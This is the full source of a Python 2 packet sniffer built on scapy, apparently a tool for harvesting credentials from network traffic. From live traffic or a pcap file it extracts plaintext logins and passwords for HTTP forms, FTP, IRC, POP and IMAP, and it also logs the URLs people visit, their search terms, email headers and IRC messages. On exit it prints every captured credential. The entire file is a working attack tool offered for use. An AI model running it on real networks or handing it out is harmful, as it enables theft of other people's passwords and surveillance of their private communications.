#!/usr/bin/env python2

from os import geteuid, devnull
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
conf.verb=0
from sys import exit
import argparse
import signal
from base64 import b64decode
from urllib import unquote
from subprocess import Popen, PIPE

DN = open(devnull, 'w')

def parse_args():
   """Create the arguments"""
   parser = argparse.ArgumentParser()
   parser.add_argument("-i", "--interface", help="Choose an interface")
   parser.add_argument("-v", "--verbose", help="Do not skip or truncate URLs", action='store_true')
   parser.add_argument("-p", "--pcap", help="Parse info from a pcap file; -p <pcapfilename>")
   return parser.parse_args()

class Parser:

    fragged = 0
    imapauth = 0
    popauth = 0
    ftpuser = None # Necessary since user and pass come in separate packets
    ircnick = None # Necessary since user and pass come in separate packets
    oldmheaders = []
    logins = {} # Printed on Ctrl-C
    # For concatenating fragmented packets
    prev_pkt = {6667:{}, # IRC
                143:{},  # IMAP
                110:{},  # POP3
                80:{},   # HTTP
                26:{},   # SMTP
                25:{},   # SMTP
                21:{}}   # FTP


    def __init__(self, args):
        self.args = args

    def pkt_sorter(self, pkt):
        if pkt.haslayer(Raw) and pkt.haslayer(TCP):
            self.dest    = pkt[IP].dst
            self.src     = pkt[IP].src
            self.dport   = pkt[TCP].dport
            self.sport   = pkt[TCP].sport
            self.ack     = pkt[TCP].ack
            self.seq     = pkt[TCP].seq
            self.load    = str(pkt[Raw].load)

            if self.dport == 80 or self.sport == 80:
                """ HTTP """
                port = 80
                # Catch fragmented pkts
                self.header_lines = self.hb_parse(port)
                return self.http_parser(port)

            elif self.dport == 6667:
                """ IRC """
                port = 6667
                self.header_lines = self.hb_parse(port) # Join fragmented pkts
                return self.irc(port)

            elif self.dport == 21 or self.sport == 21:
                """ FTP """
                port = 21
                self.prev_pkt[port] = self.frag_joiner(port) # No headers in FTP so no need for hb_parse
                self.ftp(port)

            elif self.dport == 25 or self.dport == 26:
                port = self.dport
                self.header_lines = self.hb_parse(port) # Join fragmented pkts
                self.email_parser('', 'Outgoing', '')

            elif self.sport == 110 or self.dport == 110:
                """ POP3 """
                port = 110
                self.header_lines = self.hb_parse(port) # Join fragmented pkts
                if self.dport == 110:
                    self.mail_pw(port)
                if self.sport == 110:
                    self.email_parser('+OK', 'Incoming', 'POP')

            elif self.sport == 143 or self.dport == 143:
                """ IMAP """
                port = 143
                self.header_lines = self.hb_parse(port) # Join fragmented pkts
                if self.dport == 143:
                    self.mail_pw(port)
                if self.sport == 143:
                    self.email_parser('BODY[]', 'Incoming', 'IMAP')

    def headers_body(self, protocol):
        try:
            h, b = protocol.split("\r\n\r\n", 1)
            return h, b
        except Exception:
            h, b = protocol, ''
            return h, b

    def frag_joiner(self, port):
        self.fragged = 0
        if len(self.prev_pkt[port]) > 0:
            if self.ack in self.prev_pkt[port]:
                self.fragged = 1
                return {self.ack:self.prev_pkt[port][self.ack]+self.load}
        return {self.ack:self.load}

    def hb_parse(self, port):
        self.prev_pkt[port] = self.frag_joiner(port)
        self.headers, self.body = self.headers_body(self.prev_pkt[port][self.ack])
        return self.headers.split('\r\n')

    def logins_check(self, port, user, pw):
        for ip in self.logins:
            if ip == self.src:
                for x in self.logins[ip]:
                    if x == (self.dest, port, user, pw):
                        return 1
                self.logins[ip].append((self.dest, port, user, pw))
                return 0
        self.logins[self.src] = [(self.dest, port, user, pw)]
        return 0


    ##################################################
    #                    MAIL                        #
    ##################################################
    def email_parser(self, first_line, inout, proto):
        """The email module was not giving me what I wanted"""
        mail_header_finder = ['To: ', 'From: ', 'Date: ', 'Subject: ']
        mail_headers = []
        for h in self.header_lines:
            for x in mail_header_finder:
                if x in h:
                   mail_headers.append(h)
        if len(mail_headers) > 3:
            if first_line in self.header_lines[0] and self.body != '':
                # Prevent the headers from being repeated in output if msg is fragmented
                if mail_headers != self.oldmheaders:
                    self.oldmheaders = mail_headers
                    print '[%s] %s %s email:' % (self.src, inout, proto)
                    for m in mail_headers:
                        print '   ', m

    def mail_pw(self, port):
        load = self.load.strip('\r\n')

        if self.dport == 143:
            auth_find = 'authenticate plain'
            proto = 'IMAP'
            auth = self.imapauth
            self.imapauth = self.mail_pw_auth(load, auth_find, proto, auth, port)

        elif self.dport == 110:
            auth_find = 'AUTH PLAIN'
            proto = 'POP'
            auth = self.popauth
            self.popauth = self.mail_pw_auth(load, auth_find, proto, auth, port)

    def mail_pw_auth(self, load, auth_find, proto, auth, port):
        if auth == 1:
            user, pw = load, 0
            found = self.logins_check(port, user, pw)
            print '[%s] %s auth: %s' % (self.src, proto, load)
            self.b64decode(load, port)
            return 0

        elif auth_find in load:
            return 1

    def b64decode(self, load, port):
        b64str = load
        try:
            decoded = b64decode(b64str).replace('\x00', ' ')[1:] # delete space at beginning
        except Exception:
            decoded = ''
        # Test to see if decode worked
        if '@' in decoded:
            print '[%s] Decoded: %s' % (self.src, decoded)
            decoded = decoded.split()
            found = self.logins_check(port, decoded[0], decoded[1])

    ##################################################
    #                    HTTP                        #
    ##################################################
    def http_parser(self, port):

        url = None
        host = self.search_headers('host: ')
        if host:
            get = self.search_headers('get /')
            post = self.search_headers('post /')
            if get:
                url = host+get
            elif post:
                url = host+post
        else:
            return

        if url:
            self.url_printer(url, post)

            # Print search terms
            searched = self.searches(url, host)
            if searched:
                print '[%s] Searched %s: %s' % (self.src, host, searched)


        if post:
            if self.body != '' and 'ocsp' not in host:
                if self.fragged:
                    print '[%s] POST load (frag): %s' % (self.src, self.body)
                else:
                    print '[%s] POST load: %s' % (self.src, self.body)

        self.http_user_pass(host, port)

    def http_user_pass(self, host, port):
        """Regex out the passwords and usernames
        If you think there's a good library for parsing load data I am here to tell you
        I have tried several suggestions and they are all less reliable than this way
        Feel free to prove otherwise"""
        # email, user, username, name, login, log, loginID
        user_regex = '([Ee]mail|[Uu]ser|[Uu]sername|[Nn]ame|[Ll]ogin|[Ll]og|[Ll]ogin[Ii][Dd])=([^&|;]*)'
        # password, pass, passwd, pwd, psw, passwrd, passw
        pw_regex = '([Pp]assword|[Pp]ass|[Pp]asswd|[Pp]wd|[Pp][Ss][Ww]|[Pp]asswrd|[Pp]assw)=([^&|;]*)'
        username = re.findall(user_regex, self.body)
        password = re.findall(pw_regex, self.body)
        user = None
        pw = None

        if username:
            for u in username:
                user = u[1]
                break

        if password:
            for p in password:
                if p[1] != '':
                    pw = p[1]
                    break

        if user:
            print '[%s > %s] login:    %s' % (self.src, host, user)
        if pw:
            print '[%s > %s] password: %s' % (self.src, host, pw)
            self.dest = host # So the destination will be saved as the hostname, not IP
            found = self.logins_check(port, user, pw)

    def url_printer(self, url, post):
        if not self.args.verbose:
            d = ['.jpg', '.jpeg', '.gif', '.png', '.css', '.ico', '.js', '.svg', '.woff']
            if any(i in url for i in d):
                return
            url = url[:135]

        if not self.fragged:
            if post:
                print '[%s] %s %s' % (self.src, 'POST', url)
            else:
                print '[%s] %s' % (self.src, url)

    def search_headers(self, header):
        for l in self.header_lines:
            if header in l.lower():
                line = l.split()
                try:
                    return line[1]
                except Exception:
                    return 0

    def searches(self, url, host):
        """ Find search terms from URLs. Prone to false positives but rather err on that side than false negatives
        search, query, ?s, &q, ?q, search?p, searchTerm, keywords, command """
        searched = re.search('((search|query|\?s|&q|\?q|search\?p|search[Tt]erm|keywords|command)=([^&][^&]*))', url)
        if searched:
            searched = searched.group(3)

            # Common false positives
            if 'select%20*%20from' in searched:
                return 0
            if host == 'geo.yahoo.com':
                return 0

            # Decode URL encoding
            return unquote(searched).replace('+', ' ')


    ##################################################
    #                     FTP                        #
    ##################################################
    def ftp(self, port):
        """Catch FTP usernames, passwords, and servers"""
        load = self.load.replace('\r\n', '')

        if port == self.dport:
            if 'USER ' in load:
                    user = load.strip('USER ')
                    print '[%s > %s] FTP user:    ' % (self.src, self.dest), user
                    self.ftpuser = user

            elif 'PASS ' in load:
                    pw = load.strip('PASS ')
                    print '[%s > %s] FTP password:' % (self.src, self.dest), pw
                    # Necessary since usernames and passwords come in separate packets
                    if self.ftpuser:
                        self.logins_check(port, self.ftpuser, pw)
                    else:
                        self.logins_check(port, '', pw)

        if 'authentication failed' in load:
            resp = load
            print '[%s > %s] FTP response:' % (self.src, self.dest), resp

        if '230 OK' in load:
            resp = load
            print '[%s > %s] FTP response:' % (self.src, self.dest), resp

    ##################################################
    #                     IRC                        #
    ##################################################
    def irc(self, port):
        """Catch IRC nicks, passwords, joins, parts, quits, messages"""
        load = self.load.split('\r\n')[0]

        if 'NICK ' in load:
            self.ircnick = load.strip('NICK ')
            print '[%s > %s] IRC nick: %s' % (self.src, self.dest, self.ircnick)

        elif 'NS IDENTIFY ' in load:
            ircpass = load.strip('NS IDENTIFY ')
            print '[%s > %s] IRC password: %s' % (self.src, self.dest, ircpass)
            if self.ircnick:
                self.logins_check(port, self.ircnick, ircpass)
            else:
                self.logins_check(port, '', ircpass)

        elif 'PRIVMSG ' in load:
            load = load.split(' ', 2)
            ircchannel = load[1]
            ircmsg = load[2][1:] # Get rid of the beginning ":"
            print '[%s] IRC msg to %s: %s' % (self.src, ircchannel, ircmsg)

        elif 'JOIN ' in load:
            ircjoin = load.strip('JOIN ').split()[0] # There's a parameter x we need to get rid of with the split
            print '[%s > %s] IRC joined: %s' % (self.src, self.dest, ircjoin)

        elif 'PART ' in load:
            load = load.split()
            ircchannel = load[1]
            reason = load[2][1:]
            print '[%s > %s] IRC left %s: %s' % (self.src, self.dest, ircchannel, reason)

        elif 'QUIT ' in load:
            ircquit = load.strip('QUIT :')
            print '[%s > %s] IRC quit: %s' % (self.src, self.dest, ircquit)

def pcap_parser(pcap_file, parser):
    parser = parser

    try:
        pcap = rdpcap(pcap_file)
    except Exception:
        exit('[-] Could not open %s' % pcap_file)
    for pkt in pcap:
        parser.pkt_sorter(pkt)
    print ''
    for k in parser.logins:
        for v in parser.logins[k]:
            print '%s: %s' % (k, v)
    exit('[*] Finished parsing pcap file')

def iface_finder():
    try:
        ipr = Popen(['/sbin/ip', 'route'], stdout=PIPE, stderr=DN)
        for line in ipr.communicate()[0].splitlines():
            if 'default' in line:
                l = line.split()
                iface = l[4]
                return iface
    except Exception:
        exit('[-] Could not find an internet active interface; please specify one with -i <interface>')


##################################################
#                     MAIN                       #
##################################################
def main(args):

    parser = Parser(args)

    # Read from pcap file
    if args.pcap:
        pcap_parser(args.pcap, parser)

    # Check for root
    if geteuid():
        exit('[-] Please run as root')

    #Find the active interface
    if args.interface:
        conf.iface = args.interface
    else:
        conf.iface = iface_finder()

    print '[*] Listening on %s, if you wish to change this specify the interface with the -i argument' % conf.iface

    def signal_handler(signal, frame):
        """This is nested inside main() so it can use parser.logins[k]
        Prints all the captured credentials"""
        print ''
        for k in parser.logins:
            for v in parser.logins[k]:
                print '%s: %s' % (k, v)
        exit(0)
    signal.signal(signal.SIGINT, signal_handler)

    sniff(iface=conf.iface, prn=parser.pkt_sorter, store=0)

if __name__ == "__main__":
   main(parse_args())
